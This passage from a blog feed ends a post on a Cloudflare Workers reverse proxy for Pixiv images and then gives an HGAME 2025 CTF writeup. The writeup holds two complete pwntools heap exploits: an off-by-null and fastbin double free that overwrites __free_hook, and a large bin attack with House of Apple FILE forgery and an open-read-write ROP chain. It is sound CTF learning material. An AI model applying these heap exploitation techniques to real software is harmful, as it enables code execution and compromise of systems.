class="line"></span><br><span class="line"> <span class="keyword">if</span> (j == <span class="string">"$upstream"</span>) {</span><br><span class="line"> j = upstream_domain;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (j == <span class="string">"$custom_domain"</span>) {</span><br><span class="line"> j = host_name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> re = <span class="keyword">new</span> <span class="title class_">RegExp</span>(i, <span class="string">"g"</span>);</span><br><span class="line"> text = text.<span class="title function_">replace</span>(re, j);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> text;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">device_status</span>(<span class="params">user_agent_info</span>) {</span><br><span class="line"> <span class="keyword">var</span> agents = [</span><br><span class="line"> <span class="string">"Android"</span>,</span><br><span class="line"> <span class="string">"iPhone"</span>,</span><br><span class="line"> <span class="string">"SymbianOS"</span>,</span><br><span class="line"> <span class="string">"Windows Phone"</span>,</span><br><span class="line"> <span class="string">"iPad"</span>,</span><br><span class="line"> <span class="string">"iPod"</span>,</span><br><span class="line"> ];</span><br><span class="line"> <span class="keyword">var</span> flag = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> v = <span class="number">0</span>; v < agents.<span class="property">length</span>; v++) {</span><br><span class="line"> <span class="keyword">if</span> (user_agent_info.<span class="title function_">indexOf</span>(agents[v]) > <span class="number">0</span>) {</span><br><span class="line"> flag = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> flag;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>事实上实现基本的反代功能,只需要如下代码:</p><figure class="highlight javascript"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> {</span><br><span class="line"> <span class="keyword">async</span> <span class="title function_">fetch</span>(<span class="params">request</span>) {</span><br><span class="line"> <span class="keyword">const</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>);</span><br><span class="line"> url.<span class="property">hostname</span> = <span class="string">'i.pximg.net'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> proxyRequest = <span class="keyword">new</span> <span class="title class_">Request</span>(url, request);</span><br><span class="line"> proxyRequest.<span class="property">headers</span>.<span class="title function_">set</span>(<span class="string">'Referer'</span>, <span class="string">'https://www.pixiv.net/'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="title function_">fetch</span>(proxyRequest);</span><br><span class="line"> },</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p>部署在 pixiv.summ2.link 上,它可以成功配置在 PixEz(一个 Pixiv第三方客户端)中。</p><p>Example:</p><p><a href="https://pixiv.summ2.link/img-original/img/2023/11/20/18/53/42/113565191_p0.jpg">https://pixiv.summ2.link/img-original/img/2023/11/20/18/53/42/113565191_p0.jpg</a></p><h1 id="参考">参考</h1><section id="footnotes" class="footnotes footnotes-end-of-document" role="doc-endnotes"><hr><ol><li id="fn1"><p>https://en.wikipedia.org/wiki/Proxy_server<a href="#fnref1" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn2"><p>https://en.wikipedia.org/wiki/Reverse_proxy<a href="#fnref2" class="footnote-back" role="doc-backlink">↩︎</a></p></li></ol></section>]]></content>
<summary type="html"><h1 id="前言">前言</h1>
<p>由于友链页面有使用图片的要求,同时为其他人的站点提供相关的图片资源(虽然使用现成的 GitHub
Page 就可以基本实现,但是 Page 所在的仓库是公开的),尝试通过 GitHub 作为图床解决这个问题。然而,访问速度和稳定性都无法得到保证,为此通过网上搜索学习了一下反向代理
(Reverse Proxy) 的相关知识。</p></summary>
<category term="Web" scheme="http://summ2.link/categories/Web/"/>
<category term="Reverse Proxy" scheme="http://summ2.link/tags/Reverse-Proxy/"/>
</entry>
<entry>
<title>HGAME 2025 Week 2 Writeup</title>
<link href="http://summ2.link/categories/CTF/hgame-2025-week2-wp/"/>
<id>http://summ2.link/categories/CTF/hgame-2025-week2-wp/</id>
<published>2025-02-17T16:00:00.000Z</published>
<updated>2025-02-17T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="signin2heap">Signin2Heap</h1><h2 id="vulnerabilities">Vulnerabilities</h2><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218122102849.png"></p><p>存在 off-by-null 漏洞,当 <code>prev_size</code> 域复用时,可置零相邻chunk 的 <code>prev_inuse</code> 位。</p><span id="more"></span><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218122545228.png"></p><p>只能申请至多 <code>0xFF</code> 大小的堆块,考虑 fastbin attack。</p><h2 id="exploit">Exploit</h2><p>由于程序没有编辑功能,只能使用 add 功能修改堆数据。布置大小分别为<code>0xf0</code>, <code>0x68</code>, <code>0xf0</code>的三个堆块,然后将 <code>0xf0</code> 大小的 <code>tcache bin</code>填满。此时释放 chunk 0,将进入 <code>unsorted bin</code>。为了泄露出 libc 有关地址,我们需要利用 show 功能输出 freed chunk上的指针 (即 <code>fd</code> )。通过如下操作可以实现类似 UAF 的效果:</p><ul><li>修改 chunk 2 的 <code>prev_size</code> 和 <code>prev_inuse</code>;</li><li>释放 chunk 2,引起向后合并,此时堆管理器认为 chunk 0 ~ chunk 2都已经为空闲状态,放入 <code>unsorted bin</code> ;</li><li>先清空优先级更高的 <code>tcache bin</code> ,然后申请 chunk 0大小的堆,从 <code>unsorted bin</code> 中取,此时 fd 移动到 chunk 0的后面。</li></ul><p>经过以上操作后,chunk 1 的位置恰好是 <code>unsorted bin</code>的头部。但同时程序逻辑上 chunk 1 并没有被释放,引起了 UAF,doublefree。</p><p>再次填满 <code>tcache bin</code> ,利用 fastbin double free可实现任意写。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level =<span class="string">"debug"</span></span><br><span class="line">p = remote(<span class="string">"node1.hgame.vidar.club"</span>,<span class="number">32253</span>)</span><br><span class="line">e = ELF(<span class="string">"./vuln"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc-2.27.so"</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size,content</span>):</span><br><span class="line"> p.sendafter(<span class="string">"Your choice:"</span>,<span class="string">b"\x01\x00"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"> p.sendlineafter(<span class="string">"Size: "</span>,<span class="built_in">str</span>(size))</span><br><span class="line"> p.sendafter(<span class="string">"Content: "</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendafter(<span class="string">"Your choice:"</span>,<span class="string">b"\x03\x00"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dele</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendafter(<span class="string">"Your choice:"</span>,<span class="string">b"\x02\x00"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line">add(<span class="number">0</span>,<span class="number">0xf0</span>,<span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x68</span>,<span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">2</span>,<span class="number">0xf0</span>,<span class="string">'b'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>):</span><br><span class="line"> add(i,<span class="number">0xf0</span>,<span class="string">'a'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>): <span class="comment">#fill tcache</span></span><br><span class="line"> dele(i)</span><br><span class="line">dele(<span class="number">0</span>)</span><br><span class="line">dele(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x68</span>,<span class="string">b'a'</span>*<span class="number">0x60</span>+p64(<span class="number">0x170</span>))</span><br><span class="line">dele(<span class="number">2</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>):</span><br><span class="line"> add(i,<span class="number">0xf0</span>,<span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">0</span>,<span class="number">0xf0</span>,<span class="string">'a'</span>)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line">main_arena = u64(p.recvuntil(<span class="string">'\x0a\x31'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">libc_base = main_arena - <span class="number">0x3ebca0</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">free_hook = libc_base + libc.symbols[<span class="string">'__free_hook'</span>]</span><br><span class="line">one_gadget = libc_base + <span class="number">0x4f302</span></span><br><span class="line">add(<span class="number">11</span>,<span class="number">0x30</span>,<span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">12</span>,<span class="number">0x30</span>,<span class="string">'a'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>):</span><br><span class="line"> dele(i)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>):</span><br><span class="line"> add(i,<span class="number">0x30</span>,<span class="string">'a'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>): <span class="comment">#fill tcache</span></span><br><span class="line"> dele(i)</span><br><span class="line">dele(<span class="number">11</span>)</span><br><span class="line">dele(<span class="number">12</span>) <span class="comment">#a padding chunk</span></span><br><span class="line">dele(<span class="number">1</span>) <span class="comment">#fastbin double free</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>,<span class="number">10</span>):</span><br><span class="line"> add(i,<span class="number">0x30</span>,<span class="string">'a'</span>) <span class="comment">#clear tcache</span></span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x30</span>,p64(free_hook))</span><br><span class="line">add(<span class="number">12</span>,<span class="number">0x30</span>,<span class="string">'qaq'</span>)</span><br><span class="line">add(<span class="number">11</span>,<span class="number">0x30</span>,<span class="string">'qaq'</span>) <span class="comment">#clear padding chunk</span></span><br><span class="line">add(<span class="number">13</span>,<span class="number">0x30</span>,p64(one_gadget)) <span class="comment">#a chunk at <__free_hook></span></span><br><span class="line">dele(<span class="number">0</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="where-is-the-vulnerability">Where is the vulnerability</h1><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218125457752.png"></p><p>第一次打这么高版本的libc(原谅我当时脑抽看成 2.29,一堆老漏洞用了半天发现不行 hhh)</p><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218133051872.png"></p><p>禁用 <code>execve</code></p><h2 id="vulnerabilities-1">Vulnerabilities</h2><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218125645031.png"></p><p>明显的 UAF 漏洞。</p><p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218125720609.png"></p><p>只能申请 <code>0x500 ~ 0x900</code> 大小的堆,考虑 large binattack。</p><h2 id="exploit-1">Exploit</h2><p>堆块大小限制导致我们只能使用 <code>unsorted bin</code> 和<code>large bin</code>,即使通过 UAF 漏洞可以修改堆上的<code>size</code> 从而使其进入 <code>tcache bin</code>,但是不能重新申请进行利用。</p><p>显而易见的,可以利用 <code>unsorted bin</code> 的特性快速得到 libc基址。</p><p>同时,布置后续的堆块,以进行 large bin attack。</p><p>large bin attack 的操作简要描述如下,当然在 how2heap中有更好更详细的描述:</p><ul><li>申请两个chunk,且大小不相同,并在其之后都申请任意大小的堆块,防止释放后合并;</li><li>释放 chunk 0;</li><li>申请一个大于 chunk 0 大小的堆,chunk 0 将进入<code>large bin</code>;</li><li>释放 chunk 2;</li><li>修改 chunk 0 的 <code>bk_nextsize</code> 为<code>target - 0x20{sizeof(prev_size + fd + bk + fd_nextsize)}</code>。</li><li>重复第三步,chunk 2 将进入 <code>large bin</code> ,由于 chunk 2更小,导致操作<code>bk_nextsize->fd_nextsize = &chunk2</code>。</li></ul><p>此时就在目标位置写入了 chunk 2 的 <code>prev_size</code> 地址。</p><p>通过一种叫做 House of apple的方式,就可以攻击 IO,劫持程序执行流。</p><p>在泄露出 libc 地址后,进而得到 <code>IO_list_all</code> 的地址,利用large bin attack 将 chunk 地址写入,之后在 chunk 2 上伪造 FILE结构体。</p><p>原理部分请自行查找(毕竟我还没完全弄明白)。我们主要关注伪造 IO 的最后一行,它可以让我们跳转到一个地址,即控制一次<code>$RIP</code> 。我们的目的是找到一个gadget,帮助我们实现栈迁移,执行 ROP 链。</p><p>可以利用的 gadget 如下:</p><figure><img src="\2025218-HGAME-2025-Week-2-Writeup\2b951edb6231c43309081359d1541a02.png" alt="gadget 1"><figcaption aria-hidden="true">gadget 1</figcaption></figure><p>动态调试可以发现 <code>$rax</code> 指向 fake_io有关地址,因此可以改变 <code>$rdx</code> 的值。</p><p>将 <code>$rdx</code> 改为一处可读写段,执行下一段 gadget:</p><figure><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218134613219.png" alt="gadget 2.1"><figcaption aria-hidden="true">gadget 2.1</figcaption></figure><figure><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218134705426.png" alt="gadget 2.2"><figcaption aria-hidden="true">gadget 2.2</figcaption></figure><p>修改 <code>$rsp</code> 实现栈迁移,注意在后面会将<code>$rcx=[rdx+0xa8]</code>入栈,改为一个对后续无影响的可执行地址即可,或者 ROP 的第一个地址。</p><p>最后进入 <code>exit()</code> 触发相关调用链,执行orw(如此有仪式感的操作自然是手动完成)。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level =<span class="string">"debug"</span></span><br><span class="line">p = remote(<span class="string">"node1.hgame.vidar.club"</span>,<span class="number">31067</span>)</span><br><span class="line">e = ELF(<span class="string">"./vuln"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"5. Exit"</span>,<span class="string">b"1"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"> p.sendlineafter(<span class="string">"Size: "</span>,<span class="built_in">str</span>(size))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"5. Exit"</span>,<span class="string">b"4"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dele</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"5. Exit"</span>,<span class="string">b"2"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index,content</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"5. Exit"</span>,<span class="string">b"3"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"> p.sendafter(<span class="string">"Content: "</span>,content)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x528</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x508</span>) <span class="comment">#prevent consolidating</span></span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x518</span>)</span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x721</span>)</span><br><span class="line">dele(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">main_arena = u64(p.recvuntil(<span class="string">'\x0a\x31'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">libc_base = main_arena - <span class="number">0x203b20</span></span><br><span class="line">IO_list_all=libc_base+libc.symbols[<span class="string">'_IO_list_all'</span>]</span><br><span class="line">_IO_stdfile_2_lock=libc_base+<span class="number">0x205700</span></span><br><span class="line"></span><br><span class="line">_<span class="built_in">open</span>=libc_base+libc.sym[<span class="string">'open'</span>]</span><br><span class="line">_read=libc_base+libc.sym[<span class="string">'read'</span>]</span><br><span class="line">_write=libc_base+libc.sym[<span class="string">'write'</span>]</span><br><span class="line"></span><br><span class="line">pop_rdi = libc_base + <span class="number">0x10f75b</span></span><br><span class="line">pop_rsi = libc_base + <span class="number">0x110a4d</span></span><br><span class="line">pop_rdx = libc_base + <span class="number">0x66b9a</span> <span class="comment">#pop rdx ; ret 0x19</span></span><br><span class="line"></span><br><span class="line">gadget = libc_base + <span class="number">0x176f0e</span></span><br><span class="line">setcontext = libc_base + <span class="number">0x4a98d</span></span><br><span class="line">ret = libc_base + <span class="number">0x2882f</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x558</span>)</span><br><span class="line">dele(<span class="number">2</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">chunk_fd = u64(p.recvuntil(<span class="string">'\x0a\x31'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b'a'</span>*<span class="number">16</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">fd_nextsize = u64(p.recvuntil(<span class="string">'\x0a\x31'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">heap_base = fd_nextsize + <span class="number">0x10</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(heap_base))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>,p64(chunk_fd)*<span class="number">2</span>+p64(fd_nextsize)+p64(IO_list_all-<span class="number">0x20</span>))</span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x558</span>) <span class="comment">#large bin attack: write chunk address at target</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">orw_addr = heap_base + <span class="number">0x1bf0</span></span><br><span class="line">file_addr = heap_base + <span class="number">0xa30</span></span><br><span class="line">IO_wide_data_addr=file_addr</span><br><span class="line">wide_vtable_addr=file_addr+<span class="number">0xe8</span>-<span class="number">0x68</span></span><br><span class="line"></span><br><span class="line">fake_io = <span class="string">b""</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_read_end</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_read_base</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_write_base</span></span><br><span class="line">fake_io += p64(<span class="number">1</span>) <span class="comment"># _IO_write_ptr</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_write_end</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_buf_base;</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_buf_end should usually be (_IO_buf_base + 1)</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _IO_save_base</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>)*<span class="number">3</span> <span class="comment"># from _IO_backup_base to _markers</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># the FILE chain ptr</span></span><br><span class="line">fake_io += p32(<span class="number">2</span>) <span class="comment"># _fileno for stderr is 2</span></span><br><span class="line">fake_io += p32(<span class="number">0</span>) <span class="comment"># _flags2, usually 0</span></span><br><span class="line">fake_io += p64(<span class="number">0xFFFFFFFFFFFFFFFF</span>) <span class="comment"># _old_offset, -1</span></span><br><span class="line">fake_io += p16(<span class="number">0</span>) <span class="comment"># _cur_column</span></span><br><span class="line">fake_io += <span class="string">b"\x00"</span> <span class="comment"># _vtable_offset</span></span><br><span class="line">fake_io += <span class="string">b"\n"</span> <span class="comment"># _shortbuf[1]</span></span><br><span class="line">fake_io += p32(<span class="number">0</span>) <span class="comment"># padding</span></span><br><span class="line">fake_io += p64(_IO_stdfile_2_lock) <span class="comment"># _IO_stdfile_1_lock</span></span><br><span class="line">fake_io += p64(<span class="number">0xFFFFFFFFFFFFFFFF</span>) <span class="comment"># _offset, -1</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) <span class="comment"># _codecvt, usually 0</span></span><br><span class="line">fake_io += p64(IO_wide_data_addr) <span class="comment"># _IO_wide_data_1</span></span><br><span class="line">fake_io += p64(<span class="number">0</span>) * <span class="number">2</span> <span class="comment"># from _freeres_list to __pad5</span></span><br><span class="line">fake_io += p64(orw_addr+<span class="number">0x100</span>) <span class="comment">#rdx value(__pad5)</span></span><br><span class="line">fake_io += p32(<span class="number">0xFFFFFFFF</span>) <span class="comment"># _mode, usually -1</span></span><br><span class="line">fake_io += <span class="string">b"\x00"</span> * <span class="number">19</span> <span class="comment"># _unused2</span></span><br><span class="line">fake_io = fake_io.ljust(<span class="number">0xc8</span>, <span class="string">b'\x00'</span>) <span class="comment"># adjust to vtable</span></span><br><span class="line">fake_io += p64(libc_base+libc.sym[<span class="string">'_IO_wfile_jumps'</span>]) <span class="comment"># fake vtable</span></span><br><span class="line">fake_io += p64(wide_vtable_addr)</span><br><span class="line">fake_io += p64(gadget) <span class="comment">#set rdx</span></span><br><span class="line">edit(<span class="number">2</span>,fake_io)</span><br><span class="line"></span><br><span class="line">orw_payload = flat({</span><br><span class="line"> <span class="number">0x00</span>: [</span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(orw_addr+<span class="number">0x128</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(<span class="number">0</span>),</span><br><span class="line"> p64(pop_rdx),</span><br><span class="line"> p64(<span class="number">0</span>),</span><br><span class="line"> p64(_<span class="built_in">open</span>), <span class="comment"># open(./flag,0,0)</span></span><br><span class="line"> <span class="string">b'a'</span>*<span class="number">0x19</span>, <span class="comment"># padding</span></span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">3</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(orw_addr+<span class="number">0x200</span>),</span><br><span class="line"> p64(pop_rdx),</span><br><span class="line"> p64(<span class="number">0x30</span>),</span><br><span class="line"> p64(_read), <span class="comment"># read(3,buf,0x30)</span></span><br><span class="line"> <span class="string">b'a'</span>*<span class="number">0x19</span>,</span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(orw_addr+<span class="number">0x200</span>),</span><br><span class="line"> p64(pop_rdx),</span><br><span class="line"> p64(<span class="number">0x30</span>),</span><br><span class="line"> p64(_write), <span class="comment"># write(1,buf,0x30)</span></span><br><span class="line"> <span class="string">b'a'</span>*<span class="number">0x19</span>,</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x120</span>: [</span><br><span class="line"> p64(setcontext),</span><br><span class="line"> <span class="string">b'./flag\x00\x00'</span>,</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x1a0</span>: [</span><br><span class="line"> p64(orw_addr), <span class="comment">#rsp value</span></span><br><span class="line"> p64(ret),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">edit(<span class="number">5</span>,orw_payload)</span><br><span class="line">edit(<span class="number">1</span>,<span class="string">b'a'</span>*<span class="number">0x500</span>+<span class="string">b' sh;'</span>) <span class="comment">#reserved for debug, [$rdi]</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="hit-list">Hit list</h1><p>很遗憾本题没有解出,因为前面较少接触的堆题耗费了我挺多心力的,到这已经没什么精力去做了。不过收获很多,是大于遗憾的。</p><h1 id="明年见">明年见!</h1><p>平台很好看,出题人很热心,题目很难(</p><figure class="highlight plaintext"><table><tbody><tr><td 